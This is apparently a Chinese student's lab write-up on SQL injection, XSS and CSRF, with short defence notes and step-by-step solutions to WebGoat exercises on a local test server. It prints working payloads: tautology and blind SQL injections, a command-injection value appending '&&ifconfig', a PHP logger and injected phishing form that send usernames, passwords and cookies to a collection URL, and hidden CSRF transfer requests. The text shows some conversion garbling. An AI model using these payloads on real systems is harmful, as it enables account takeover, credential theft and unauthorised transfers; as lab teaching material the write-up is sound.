SQL注入攻击值得是经过构建特殊的输入做为参数传入web应用程序,而这些输入大都是SQL语法里的一下组合,php
经过执行SQL语句进执行攻击者所要的操做,其主要缘由是程序没有细致的过滤用户输入的数据,导致非法数据侵入系统。html
不当的类型处理,不安全的数据库配置, 不合理的查询集处理, 不当的错误处理, 转义字符处理不合适, 多个提交处理不当前端
方法一:采用直接猜表名和列名的方法或者是利用报错信息来肯定代表和列名java
And (Select count(*) from 要猜的表名)<>0 And (Select count(要猜的列名) from 已知的表名)<>0 注意:<>在sql中是不等于,结果若返回正确则猜的表名和列名是正确的
方法二:后台身份验证绕过漏洞linux
此方法利用的就是AND和OR的运算规则,从而形成后台脚本逻辑性错误git
若后台的查询语句为sql='select admin from t_admin where user='request("user")' and passwd='request("user")'; 但输入用户名密码若为 'or 'a'='a',那么查询语句就变成了select admin from t_admin where user=''or 'a'='a' and passwd=''or 'a'='a'; 这里就变成了四个查询语句即: 假 or 真 and 假 or 真, 先算and再算or,就变成: 假or 假 or真,结果为真,就能直接接入后台了。
!!不过要想用这种方法进行攻击,必须具有一个条件:是这种用户名和密码在一个查询语句中。 或者能够 'or 1=1 --将后面的语句注释掉 (--为sql注释符)web
一、首先要对输入的数据进行过滤,将常见的sql语句的关键词:select or ' " 等字符进行过滤。sql
二、对在数据库中对密码进行加密,验证登录的时候先将 密码进行加密再与数据库中加密的密码进行对比,若此时一致则基本是安全的。数据库
三、对数据库中密码采用经常使用的MD5加密时尽可能在字符串的前边和后边加上指定字符后在进行加密,这样即使是看到了数据库也很难破解密码。浏览器
XSS是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分因此取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它容许恶意用户将代码注入到网页上,其余用户在观看网页时就会受到影响。这类攻击一般包含了HTML以及用户端脚本语言。
XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,由于有了cookie至关于有了seesion,有了这些信息就能够在任意能接进互联网的pc登录该网站,并以其余人的生份登录,作一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义
当恶意代码值被做为某一标签的内容显示:在不须要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )作过滤,将其转化为不被浏览器解释执行的字符。
当恶意代码被做为某一标签的属性显示,经过用 “将属性截断来开辟新的属性或恶意方法:属性自己存在的 单引号和双引号都须要进行转码;对用户输入的html 标签及标签属性作白名单过滤,也能够对一些存在漏洞的标签和属性进行专门过滤。
XSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。
你这能够这么理解XSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。XSRF可以作的事情包括:以你名义发送邮件,发消息,盗取你的帐号,甚至于购买商品,虚拟货币转帐......形成的问题包括:我的隐私泄露以及财产安全。
XSRF这种攻击方式在2000年已经被国外的安全人员提出,但在国内,直到06年才开始被关注,08年,国内外的多个大型社区和交互网站分别爆出XSRF漏洞,如:NYTimes.com(纽约时报)、Metafilter(一个大型的BLOG网站),YouTube和百度HI......而如今,互联网上的许多站点仍对此毫无防备,以致于安全业界称XSRF为“沉睡的巨人”。
下图简单阐述了XSRF攻击的思想:
从上图能够看出,要完成一次XSRF攻击,受害者必须依次完成两个步骤:
1.登陆受信任网站A,并在本地生成Cookie。
2.在不登出A的状况下,访问危险网站B。
我总结了一下看到的资料,XSRF的防护能够从服务端和客户端两方面着手,防护效果是从服务端着手效果比较好,如今通常的XSRF防护也都在服务端进行。
服务端的XSRF方式方法不少样,但总的思想都是一致的,就是在客户端页面增长伪随机数。
(1).Cookie Hashing(全部表单都包含同一个伪随机值):
这多是最简单的解决方案了,由于攻击者不能得到第三方的Cookie(理论上),因此表单中的数据也就构造失败了:在表单里增长Hash值,以认证这确实是用户发送的请求。而后在服务器端进行Hash值验证
(2).验证码
这个方案的思路是:每次的用户提交都须要用户在表单中填写一个图片上的随机字符串。
(3).One-Time Tokens(不一样的表单包含一个不一样的伪随机值)
在实现One-Time Tokens时,须要注意一点:就是“并行会话的兼容”。若是用户在一个站点上同时打开了两个不一样的表单,XSRF保护措施不该该影响到他对任何表单的提交。考虑一下若是每次表单被装入时站点生成一个伪随机值来覆盖之前的伪随机值将会发生什么状况:用户只能成功地提交他最后打开的表单,由于全部其余的表单都含有非法的伪随机值。必须当心操做以确保XSRF保护措施不会影响选项卡式的浏览或者利用多个浏览器窗口浏览一个站点。
1)开启webgoat,打开WebGoat:java -jar webgoat-container-7.0.1-war-exec.jar
(请使用你的Tab键)
页面会停在这里,将此界面最小化(不要关闭)
2)在浏览器输入localhost:8080/WebGoat
(注意"WebGoat"大小写敏感),进入webgoat(用户名和密码默认即可)
先找到String SQL Injection的练习
点击后看到以下题目
题目大意是:这个表单容许使用者查询他们的信用卡号,使用SQL注入让全部的信用卡号都看得见。
首先试试Smith
查询出什么结果我并不关心,我关心的输入的去哪了。能够看见我输入的Smith在两个单引号之间。这就好办了,我如今要作的是让这个语句中的WHERE这个条件语句失效,怎么作呢?
咱们都知道 a or 1
无论a是真或假最后输出都是1,只有咱们构造一个永真式“1”,那么无论前面的WHERE是否成立都能执行!
因此我这里构造语句'or 1='1
,成功获得了所有的信用卡号,咱们为何要这么构造呢?第一个分号用来闭合last_name的第一个分号,而第二个分号用来闭合last_name的第二个分号。这样一条语句被强行拆分红为两条语句!
此次咱们选择尝试挑战一下Numeric SQL Injection、
题目大意是这个表单容许使用者看到天气数据,利用SQL注入使得能够看见全部数据!
乍眼一看这个都是选项根本没办法输入,咱们该如何进行SQL注入,换句话说我该从哪里注入啊。。。
嘿嘿,既然没法在前端注入,那就从捕获包中修改!!
设置代理“Proxy”的“Options”选项
默认是8080端口被占用时须要添加一个新的端口8888,点击add
添加后勾选,如图所示
打开浏览器右侧的“更多”选项卡,找到preference-advanced-settings
其实至关于将burpsuite当成中间服务器,每一个数据包都流过它。
设置好以后回到题目,任意选择一项,点击GO,而后回到burpsuite。发现多了捕获的包:
右键send to repeater ,咱们修改station值从为101
为 101 or 1=1
,点击GO,能够看到右边response包中的SQL语句为
SELECT * FROM weather_data WHERE station = 101 or 1=1
正好是咱们想要的。
回到Proxy中点击Intercept is on
对剩下的包不做处理,回到火狐发现已经成功
注意提醒一下你们,在关闭了burpsuite以后,把浏览器的代理调回不使用代理,否则浏览器上不了网哦
看下题目:
命令行注入攻击是个严重的威胁。。尝试给操做系统注入命令行。。
好懂了!就是注入命令行,乍一看没有任何注入的地方,因此使用burpsuite注入!
咱们对第一个包send to Repeater分析一下:
先正常点GO看看数据都提交到什么地方
咱们发现可改部分是使用了命令行cat语句,这样咱们就有隙可乘,注入咱们的命令行!!
我注入的命令是AccessControlMatrix.help"&&ifconfig"
,解释一下,前面是原来的正常命令。而&&在命令行中是执行另一条语句,最后一个双引号用来封闭原来的双引号!再次点击GO发现执行了ifconfig语句
回到webgoat,虽然没有发现ifconfig的内容,可是显示成功!
先看下题目:
目标是获得一个存放在pins表中值pin的内容,行号cc_number=1111222233334444,是一个int型的数据!
咱们首先尝试默认的101,发现显示Account number is valid
,说明这个是真!这个很重要,说明咱们能够构造AND XXXX 语句来进行注入,用于判断后面的语句是否为真!
先肯定pin值的范围,构造
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );
合法,说明pin值大于100
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
不合法说明小于10000
肯定了上下界以后每次使用二分法就能够获得结果了!答案为2364!!本身试试吧,用burpsuite试起来比较简单。
你们能够参照余佳源学长的博客20135321_余佳源_07_SQL注入原理与实践,原理和上一题基本同样,只不过这个只是从猜数字变成了猜ascii对应的字符罢了!
看下题:
使用字符串SQL注入在没有正确密码的状况下登陆帐号boss
尝试在密码框中输入咱们的老套路...(本身试试这里不写了)
本实验只在WEBGOAT的开发版本上完成,跳过!!
看下题目:
该课程的目的是经过注入语句,浏览到本来没法浏览的信息。经过一个普通员工的帐户larry,浏览其BOSS的帐户信息。
首先先字符串注入登陆Larry的帐号!在密码框里输入老套路,登陆后发现咱们只能看见Larry一我的的工资信息
这时咱们要看boss的信息就要注入了!使用burpsuite对咱们提交的信息进行修改
这里是按员工编号进行查询首先咱们把截获的包进行初步的修改,把101改为112(boss的编号)
可是报错
再次修改成112 or 1= 1,此次成功了输出信息,可是仍是Larry的信息,我猜这里应该是将最首位的信息输出。那么此次咱们能够对信息进行排序让他排在首位。用社会工程学解释老板应该是工资最高的,因此为了把老板排到第一个SQL注入排序以下:
112 or 1=1 order by salary desc
咱们成功的看到了boss的信息!
本实验只在WEBGOAT的开发版本上完成,跳过!!
看一下要求:关于一个页面中存在XSS漏洞时,他如何支持钓鱼攻击。要求咱们利用xss和html注入达到这些目标。
再看一下hints:
根据提示我制造一个钓鱼网站imgsrc.php,做用就是将传来的三个参数(username、password、cookie)保存到lyd.log中
imgsrc.php <!DOCTYPE html> <html> <body> <?php echo " PHP 脚本!"; $uname=($_GET["username"]); $pwd=($_GET["password"]); $ck=($_GET["ck"]); $myfile = fopen("lyd.log", "a") or die("Unable to open file!"); fprintf($myfile,"username:"); fwrite($myfile, $uname); fprintf($myfile,"\n"); fprintf($myfile,"password:"); fwrite($myfile, $pwd); fprintf($myfile,"\n"); fprintf($myfile,"cookie:"); fwrite($myfile, $ck); fprintf($myfile,"\n"); fclose($myfile); /* system("echo `date`:".$uname.".".$pwd.".".$ck." >> /var/www/html/lyd.log"); */ ?> </body> </html>
而后编写前端代码,在输入框中注入这段前端代码会将提示用户输入帐号口令从而完成钓鱼攻击!
<script> function hack(){ str="username=" + document.phish.user.value + "&password=" + document.phish.pass.value + "" + "&ck=" + document.cookie; str2="http://127.0.0.1:5320/imgsrc.php?" + str; XSSImage=new Image; XSSImage.src=str2; alert(str2); } </script> </form><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="submit" value="Login" onclick="hack()"><br> </form><br><br><HR>
假装的表单骗用户输入数据!登录后看看lyd.log里面的内容!
完成了钓鱼!
看题目要求:....没有什么要求只有介绍,不翻译了(英语硬伤,只能本身看懂)
使用burpsuite发现,UpdateCart Purchase
均以post提交数据,但在Enter your credit card number:
以及Enter your three digit access code:
处的值均被post原样返回,因此能够在此处构造js语言。
<SCRIPT>alert(document.cookie);</SCRIPT>
获得cookies!
这里至关因而给用户发一个信息,用户在打开这个信息的时候触发了隐藏在信息里面js代码,而后被盗走了cookies。
咱们构造语句:
<script>alert(document.cookie);</script>
点击20145320!
这里只是使用弹窗来讲明cookies能够被盗走,能够把cookies做为php的输入,而后盗走!
先看一下要求:
大意是:你的目标是发一个email给newsgroup,内容包括一个有恶意URL请求的图片。URL要指向“attack”(包含参数“Screen”和“Menu”,还有一个额外参数“transferFunds”)。当收到含有CSRF页面的邮件时,就会执行transferFunds!
作题还要兼职翻译,心很累。
反正就是给别人发个邮件,其中有个包含XSRF页面恶意请求的图像,可是这个图像又要隐藏!
因此根据题目要求咱们假装这样一条语句:
<img src='!attack?Screen=!&menu=!&transferFunds=!' width='1' height='1'>
如今要肯定的是四个感叹号的值:
第一个要输入的是哪一个网站的attack,这里因为指向本网址,因此能够不填。
第2、三个感叹号值须要在网站里面寻找
第四个感叹号是你让被攻击者想转多少钱,根据题目要求这里选了5000!
咱们在下面构造邮件
留点悬念你们本身作作试试。
提交后在下面的Message List里面能够看我刚刚发送的邮件
点击后就执行了<img src='!attack?Screen=!&menu=!&transferFunds=!' width='1' height='1'>
这个代码,被攻击者就会给你转钱了!
咱们须要理解这个练习是如何让咱们学会XSRF,用户在经过身份认证登陆银行的网站A时,浏览器拿到了银行网站的cookies。接下来用户在A网站开着的状况下访问了B网站,这个B网站隐藏在图片里面,而图片又是不可见的,隐藏在Message里面。说明用户在不知情的状况下打开了邮件,顺便打开了B网站!B网站给A网站发送恶意请求,在A网站还开着的状况下,浏览器会误觉得是用户发送请求,而后就会带着cookies和B网站发送的请求(例如转钱等)访问A网站执行!
看下题目要求:
和上一个教材类似,发个邮件给newsgrooup,包含两个恶意请求:一个是转钱的金额,另外一个是确认转帐。。。后面的给个眼神本身体会吧
此次的邮件要包括两条语句!可是参数都是不变的,你们本身手敲一下吧,否则来得太简单了
换汤不换药,点击20145320就完成了转帐和转帐确认!
例行看题:
与CSRF课程相似,您的目标是给新闻组发送包含恶意请求的Email实现资金转帐。为了成功完成欺骗,您须要得到一个验证请求Token。显示转帐表单的URL相似于CSRF课程中使用的外部参数”transferFunds=main"。载入该页面,读取Token并追加到伪造请求中以实现资金转帐。
我构造了这样的注入代码,得到token,可是没有看到successfully。
function modify()
{
var FrameDoc=document.getElementById("frame1").contentDocument; var Form=FrameDoc.getElementsByTagName("form"); var token=Form.CSRFToken.value; var tokenstr="&CSRFToken="+token; var testFrame=document.getElementById("frame2"); testFrame.src="attack?Screen=307&menu=900&transferFunds=4000"+tokenstr; } </script> <SCRIPT>alert(Form.CSRFToken.value);</SCRIPT> <iframe id="frame1" frameborder="1" marginwidth="0" marginheight="0" src="attack? Screen=307&menu=900&transferFunds=main" onload="modify();" height="500" width="800" scrolling="yes" ></iframe> <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" height="1" width="1" scrolling="yes" ></iframe>
截止到2017/5/9,18:50分
,还差一道题...